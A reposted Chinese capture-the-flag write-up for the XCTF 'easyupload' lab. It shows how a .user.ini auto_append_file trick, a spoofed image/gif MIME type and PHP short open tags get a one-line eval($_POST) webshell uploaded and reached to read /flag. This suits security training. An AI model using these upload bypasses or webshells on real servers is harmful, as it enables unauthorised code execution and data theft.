攻防世界 - Web - Level 1 | easyupload
关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:考点速览
本关的考点是 PHP 文件上传漏洞,过关前我们需要知道以下知识:
-
.user.ini
构成后门文件:该文件是一个可以由用户 “自定义” 的 PHP 配置文件。-
.user.ini
支持动态加载,需要等待user_ini.cache_ttl
所设置的时间(默认为 300 秒) -
CTF 常用配置项:
-
auto_append_file=muma.jpg
=> 在每个文件后面包含指定文件。 -
auto_prepend_file=muma.jpg
=> 自动包含在要执行的文件前。
-
-
-
PHP 中的短开标签
<?=
— 当目标过滤包含php
的内容时,可以使用此方法进行绕过-
如果想要 PHP 的短开标签,需要在
php.ini
中找到short_open_tag
配置,并设置为On
来开启。 =>short_open_tag=On
-
从 PHP 5.4.0 开始,无论
php.ini
文件中的设置如何,都可以使用短开标签。
-
<?php
echo "Hello PHP!";
?>
------------------------------> 上下的写法是等价的
<?= "Hello PHP!"?>
0x02:Write UP
0x0201:.user.ini 文件上传
在本地构造一个.user.ini
文件,并上传,文件内容如下(GIF89a 是用于伪造一个文件头,该靶场会检查上传文件的头字节进行过滤;auto_append_file=shell.jpg
是让文件上传目录下的文件都包含 shell.jpg
,后续我们会往 shell.jpg
中写入一句话木马):
// FileName : .user.ini
GIF89a
auto_append_file=shell.jpg
这里需要注意,直接上传 .user.ini
是上传不了的,我们还需要用 BurpSuite 拦截请求包,修改文件的 Content-Type 为 image/gif
绕过其后端的 MIME 校验后方可上传成功:
0x0202:shell.jpg 上传并连接
下面我们构造一个 shell.jpg
文件,文件内容如下(可以先用记事本打开,后面再手动更改后缀为 .jpg
即可):
// FileName : shell.jpg => 这种方式可能会被防火墙拦截,你文件根本上传不了
GIF89a
<?= @eval($_POST['hacker']); ?>
// 以下是官方推荐的木马写法,但是也有问题,就是我们不知道 Flag 在 /flag 下
GIF89a
<?=system('cat /flag');?>
这里没有采用<?php @eval($_POST['hacker']); ?>
的写法,是因为其后端会过滤php
字符串,所以我们就采用 PHP 短开标签<?= .... ?>
来进行包裹代码。
页面提示,文件被上传到了 uploads/shell.jpg
的位置:
在前面的过程中 .user.ini
也被上传到了 uploads
目录下,那很自然的 uploads
目录下的所有 PHP 页面都会包含我们 shell.jpg
中的内容,并以 PHP 方式进行解析执行。
我们可以很容易定位到一个 uploads
目录下的 PHP 文件 uploads/index.php
:
访问预览一下,可以看到,文件末尾确实出现了我们写在shell.jpg
中的内容,所以包含点找到了(如果未出现,等待 300 秒吧):
然后使用中国蚁剑进行连接 Shell:
进入终端中输入cat /flag
即可获取 Flag(有时候靶场不稳定,就多输入几次):
0x03:参考链接
什么是MIME类型_mime类型是什么意思-CSDN博客文章浏览阅读1.1w次,点赞24次,收藏111次。什么是MIME类型根据百度百科的解释:MIME:全称Multipurpose Internet Mail Extensions,多功能Internet邮件扩充服务。它是一种多用途网际邮件扩充协议,在1992年最早应用于电子邮件系统,但后来也应用到浏览器。MIME类型就是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。说白了也就是文件的媒体类型。浏览器可以根据它来区分文件,然后_mime类型是什么意思https://blog.csdn.net/cx9977/article/details/109301682?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170884915716800215096249%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=170884915716800215096249&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-109301682-null-null.142%5Ev99%5Epc_search_result_base3&utm_term=MIME%E7%B1%BB%E5%9E%8B&spm=1018.2226.3001.4187
PHP中的短开标签“在PHP中会使用“<?PHP”作为PHP文档的开头,用于识别该文档;但在一些情况下可以使用“<?=”作为开头,那么“<?=”有什么用?如何使用,希望对大家有所帮助。https://www.php.cn/faq/415762.html
原文地址:https://blog.csdn.net/m0_73360524/article/details/144337952
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!